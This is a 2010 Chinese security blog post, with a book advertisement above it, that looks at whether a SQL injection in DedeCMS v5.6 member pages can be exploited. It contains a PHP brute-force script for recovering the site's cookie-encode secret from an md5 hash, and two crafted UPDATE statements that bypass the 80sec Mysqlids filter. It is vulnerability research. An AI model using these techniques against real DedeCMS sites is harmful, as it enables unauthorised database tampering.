Dedecms v5.6的鸡肋注入的可行性分析

2010-06-10 00:00:30 0 2760
----------------------------------------------------------------------------

# oldjun注:帮朋友打下广告,希望大家不要介意。。。

庞大的脚本安全字典,《黑客脚本全本》隆重上市 (Tommie等编著),本人感觉,这本书非常非常适合初学者入门,如果有新手有志学习脚本,成为脚本黑客,建议买本学习学习!

官方链接:http://bbs.nohack.cn/thread-114886-1-1.html



淘宝预定地址:点击这里(http://item.taobao.com/auction/item_detail-db2-207dce7846a107141090212374780dae.htm)

黑客手册在线商城购买地址:点击这里(http://book.nohack.cn/goods-72.html)

----------------------------------------------------------------------------

织梦CMS(DEDECMS)在国内使用很广,代码一直被脚本黑客们所关注,随着版本的日益更新,其他漏洞不说,注入漏洞的确越来越少了,5.5、5.6版本鲜有注入漏洞出来,据观察,应该有两个原因,一是本身代码的书写严格了或者审计到位了,二就是80sec的内置Mysqlids起到作用了。还是在5.3版本的时候看过dede代码,前段时间抽空“喵”了眼最新5.6final版本的代码,于是弄个唬人的标题,谈谈注入的可行性(也许有其他漏洞,不属于讨论范畴)。

一、可能产生注入的一个点,以及可能的利用方法:

由于只是粗略看了下plus与member的代码,也许有直接的注入没被看出来:)

这个可能的点遍布member目录下,以edit_fullinfo.php为例,看代码:
...
if($dopost=='save'){
       
                $membermodel = new membermodel($cfg_ml->M_MbType);
                $postform = $membermodel->getForm(true);

          //这里完成详细内容填写
                $dede_fields = empty($dede_fields) ? '' : trim($dede_fields);
                $dede_fieldshash = empty($dede_fieldshash) ? '' : trim($dede_fieldshash);
                $modid = empty($modid)? 0 : intval(preg_replace("/[^\d]/",'', $modid));
               
                if(!empty($dede_fields))
                {
                        if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
                        {
                                showMsg('数据校验不对,程序返回', '-1');
                                exit();
                        }
                }
                         //虽然$dede_fields可以自己构造提交,但是代码对提交的$dede_fields进行了校验,from [url]www.oldjun.com[/url]
                             
                $modelform = $dsql->GetOne("SELECT * FROM #@__member_model WHERE id='$modid' ");
                if(!is_array($modelform))
                {
                        showmsg('模型表单不存在', '-1');
                        exit();
                }
               
                $inadd_f = '';
                         //$dede_fields可以构造的话,则可以触发注入,from [url]www.oldjun.com[/url]
                if(!empty($dede_fields))
                {
                        $fieldarr = explode(';', $dede_fields);
                        if(is_array($fieldarr))
                        {
                                foreach($fieldarr as $field)
                                {
                                        if($field == '') continue;
                                        $fieldinfo = explode(',', $field);
                                        if($fieldinfo[1] == 'textdata')
                                        {
                                                ${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]}));
                                                ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
                                        }
                                        else
                                        {
                                                if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = '';
                                                ${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,'add','','diy', $fieldinfo[0]);
                                        }
                                        if($fieldinfo[0]=="birthday") ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});
                                        $inadd_f .= ','.$fieldinfo[0]." ='".${$fieldinfo[0]}."'";//值不能构造,但列可以构造,from [url]www.oldjun.com[/url]
                                }
                        }
                }
                $inadd_f=preg_replace('/,/','',$inadd_f,1);
                $query = "UPDATE `{$membermodel->table}`set {$inadd_f} WHERE mid='{$cfg_ml->M_ID}'";//$inadd_f可以通过$dede_fields构造来触发注入,from [url]www.oldjun.com[/url]
                if(!$dsql->ExecuteNoneQuery($query))
                {
                        ShowMsg("更新附加表 `{$membermodel->table}`  时出错,请联系管理员!","javascript:;");
                        exit();
                }else{
                        ShowMsg('成功更新你的详细资料!','edit_fullinfo.php',0,5000);
            exit();
                }
}
从代码里的分析可以看出,$dede_fields用来生成$inadd_f,而$inadd_f直接带入SQL语句了。因此如果能绕过校验,构造$dede_fields则可以触发注入。校验语句:
$dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)
想让$dede_fieldshash等于md5($dede_fields.$cfg_cookie_encode),我们可以掌握两个变量,即如果知道$cfg_cookie_encode的值,就可以通过校验。再看看$cfg_cookie_encode是什么?config.cache.inc.php里的全局变量,安装的时候生成的,看看生成代码:
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
本来我觉得没戏的,但是发现才10位,而且不是26个字母就是10个数字。

在任意一个页面,比如article_edit.php里,aid,idhash也已经告诉我们了,看看archives_check_edit.php里的校验代码:
$ckhash = md5($aid.$cfg_cookie_encode);
if($ckhash!=$idhash)
{
        ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');
        exit();
}
很有才,我觉得在现在的计算机的计算能力下,跑出这个$cfg_cookie_encode应该没多大问题,我们的可能性是
26的6次方乘以10的4次方=3089157760000。

写个php模拟下:
<?php
//$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
//BpFFb8896E
$thismd5='10e6939c165283cc53c527be6bae6995';
$upper='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$lower='abcdefghijklmnopqrstuvwxyz';
$number='1234567890';
//$j=0;
//echo time();
for($i1=0;$i1<26;$i1++){
        $tmp1=$upper[$i1];
        for($i2=0;$i2<26;$i2++){
                $tmp2=$lower[$i2];
                for($i3=0;$i3<26;$i3++){
                        $tmp3=$upper[$i3];
                        for($i4=0;$i4<26;$i4++){
                                $tmp4=$upper[$i4];
                                for($i5=0;$i5<26;$i5++){
                                        $tmp5=$lower[$i5];
                                        for($i6=0;$i6<10;$i6++){
                                                $tmp6=$number[$i6];
                                                for($i7=0;$i7<10;$i7++){
                                                        $tmp7=$number[$i7];
                                                        for($i8=0;$i8<10;$i8++){
                                                                $tmp8=$number[$i8];
                                                                for($i9=0;$i9<10;$i9++){
                                                                        $tmp9=$number[$i9];
                                                                        for($i10=0;$i10<26;$i10++){
                                                                                $tmp10=$upper[$i10];
                                                                                $tmp="1".$tmp1.$tmp2.$tmp3.$tmp4.$tmp5.$tmp6.$tmp7.$tmp8.$tmp9.$tmp10;
                                                                                //echo $tmp."\r\n";
                                                                                $j++;
                                                                                if(md5($tmp)==$thismd5){
                                                                                        die($tmp);
                                                                                }/*else{
                                                                                        if($j==10000000){
                                                                                                echo time();
                                                                                                exit();
                                                                                        }
                                                                                }*/
                                                                        }
                                                                }
                                                        }
                                                }
                                        }
                                }
                        }
                }
        }
}
?>
php下速度太慢了,c下可以试试。如果有需要,用gpu破,再用很多电脑分段破,破出来这个$cfg_cookie_encode应该没问题,破出来之后,member下好多页面都可以注入的。如果说$cfg_cookie_encode的破解不鸡肋,80sec的内置Mysqlids却导致了即使有注入肯定也用不起来的局面,于是我们来看看有没绕过。

二、80sec的内置Mysqlids可能的绕过方法:

80sec的内置Mysqlids很强大,过滤mysql的三大注释符:/* 、--、 #,我觉得注入已经是无望了,因为注入语句一般都得通过注释把后半段给截去,然后过滤常见的union、file等,这不算bt,更bt的是把(select 子查询给过滤了,悲剧啊,写的太好了。

后来发现,由于怕匹配到sql语句中提交的内容,函数对单引号里的内容进行了替换(做waf或者idc,也考虑到这个问题),代码如下:
......
//完整的SQL检查
        while (true)
        {
                $pos = strpos($db_string, '\'', $pos + 1);
                if ($pos === false)
                {
                        break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (true)
                {
                        $pos1 = strpos($db_string, '\'', $pos + 1);
                        $pos2 = strpos($db_string, '\\', $pos + 1);
                        if ($pos1 === false)
                        {
                                break;
                        }
                        elseif ($pos2 == false || $pos2 > $pos1)
                        {
                                $pos = $pos1;
                                break;
                        }
                        $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
......
看这段代码,然后反复尝试了很久,最终发现了两个绕过方法(以子查询为例):

1.gpc为on,绝对鸡肋的绕过方法,找不到这样的sql语句了:
/**/UPDATE `dede_plus` set filelist = /*'*/ (select '1') WHERE `aid` =27
(囧,没哪个sql语句/**/打头的...悲剧)

2.gpc为on的时候增加对\的处理没问题,但是gpc为off的时候,则可能导致绕过,于是gpc为off,可以完美绕过:
UPDATE `dede_plus` set filelist = '\\' and filelist ='aaa' and  (select '1') WHERE `aid` =27
我只想到这么多了,没辙了,用flyh4t的话说,我算抛个砖了,如果谁有更好的绕过方法,可以一起讨论,期待玉的出现:)

综上所诉,想再利用DEDECMS的注入还是不容易的,建议其他程序可以一起借鉴下80sec的Mysqlids,当然,仅限以发布文章为主的cms,论坛还是别了...

关于作者

oldjun132篇文章575篇回复

评论0次

要评论?请先  登录  或  注册